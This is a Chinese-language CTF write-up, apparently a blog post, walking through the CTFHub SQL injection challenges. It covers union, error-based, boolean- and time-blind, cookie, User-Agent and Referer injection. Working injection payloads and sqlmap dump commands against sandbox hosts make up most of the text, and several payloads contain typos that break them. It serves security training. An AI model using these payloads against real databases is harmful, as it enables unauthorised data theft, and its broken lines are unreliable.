CTFHubWeb—sql注入

整数型注入

在这里插入图片描述
既然是整型注入,不需要闭合符号,经过多次测试注释符是-- 空
order by 3 的时候无回显,所以列数为2
在这里插入图片描述

爆数据库
-1 union select 1,database() --
注意- - 后面要加上空格,
在这里插入图片描述
爆表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' --

在这里插入图片描述
爆列名:
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' --
在这里插入图片描述
爆值:
-1 union select 1,(flag) from flag--

在这里插入图片描述

字符型注入

经过测试,闭合符号为',且注释符为--空
在这里插入图片描述
线面就是联合注入查询,就不再细说

报错注入

输入1时,显示正常
在这里插入图片描述
当输入1'时报错
在这里插入图片描述
经过测试无闭合符号

爆数据库
-1 and extractvalue(1,concat(0x7e,(database()),0x7e))--在这里插入图片描述
爆表名
-1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x7e))--
在这里插入图片描述
修改limit值,爆出另一张表名flag
在这里插入图片描述

爆列名
-1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag' limit 0,1),0x7e))--
在这里插入图片描述
爆值
-1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--
在这里插入图片描述
显示了一半flag
我们继续使用right()函数将右半部分也给显示出来:
-1 and extractvalue(1,concat(0x7e,(select group_concat(right(flag,20))from flag),0x7e))--

在这里插入图片描述
将得到的字符串拼接,去掉重复的部分就得到flag了

布尔盲注

输入1
在这里插入图片描述
输入1',报错了
在这里插入图片描述
一个个猜数据库的信息吧:

1、爆数据库长度

1 and length(database())>3 --
显示正确,

在这里插入图片描述
但当我们设置长度为4时就报错了,证明数据库长度为4在这里插入图片描述

2、爆数据库名

1 and ascii(substr(database(),1,1))>0 --
在这里插入图片描述
burpsuite爆破
在这里插入图片描述
ascii码转换之后得到数据库名
在这里插入图片描述
测试出sqli中有几张表:

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

在这里插入图片描述

3、爆表名

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110

在这里插入图片描述
得出第一张表名为news,

下面爆破第二张表名:

1 and ascii(substr((select table_name from information_information.tables where table_schmea='sqli' limit 1,1),1,1))=115

在这里插入图片描述
第二张表名为flag,

4、爆列名

1 and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102

在这里插入图片描述
列名也为flag

5、爆值

1 and (ascii(substr(( select flag from flag limit 0,1),1,1)))=100

1 and select flag from flag
这种方式在这里并不合适,还是用sqlmap香,

sqlmap -u http://challenge-5c39c1678ad6eb08.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch 

在这里插入图片描述

时间盲注

测数据库名长度

1 and if(length(database())=4,sleep(10),1)

页面延时了10秒左右,所以证明数据库长度为4

1、爆数据库名

?id=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)	

?id=1 and if(ascii(substr(database(),2,1))=113,sleep(5),1)	

?id=1 and if(ascii(substr(database(),3,1))=108,sleep(5),1)	

?id=1 and if(ascii(substr(database(),4,1))=105,sleep(5),1)	

ascii码转换一下得出数据库名为sqli

测出表的个数

?id=1 and if((select count(table_name) from informatino_schema.tables where table_schema='sqli')=2,sleep(5),1) 

页面延迟了5秒左右,故共有两张表

2、爆表名

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=119,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115,sleep(5),1)

ascii码转换,第一张表名为news

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=108,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=97,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=103,sleep(5),1)

同理得出第二张表名为flag

3、测字段数

?id=1 and if((select count(column_name) from information_schema.columns where table_name='flag')=1,sleep(5),1)

就一个字段,

4、爆字段

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102,sleep(5),1)

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=108,sleep(5),1)

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=97,sleep(5),1)

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=103,sleep(5),1)

字段名为flag

5、爆值

sqlmap -u http://challenge-b99c9a0d91350691.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

sqlmap
在这里插入图片描述

mysql结构

输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
所以是数字型注入!

1、判断列数

列数为2
在这里插入图片描述

2、爆数据库名

在这里插入图片描述

3、爆表名

在这里插入图片描述

3、爆列名

在这里插入图片描述

4、爆值

在这里插入图片描述

Cookie注入

抓包
在这里插入图片描述
在cookie处进行注入即可
在这里插入图片描述
数据库名为sqli

在这里插入图片描述

得出表名ihjbuqnzla

在这里插入图片描述
得出列名eibhrgfzno

在这里插入图片描述

过滤空格

/**/代替空格即可
下面就是常规数字型联合查询注入,没啥难度

UA注入

在这里插入图片描述
burpsuite抓包:
在UA处:查询字段数
在这里插入图片描述
当语句为 1 order by 3-- 时,没有回显,所以字段数为2
下面就是联合查询的步骤,就不再叙述

Refer注入

在这里插入图片描述
依旧抓包:
在这里插入图片描述

并没有看到referer,补充Referer头
在这里插入图片描述
测出为数字型注入,且列数为2,省略联合查询注入的步骤,得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值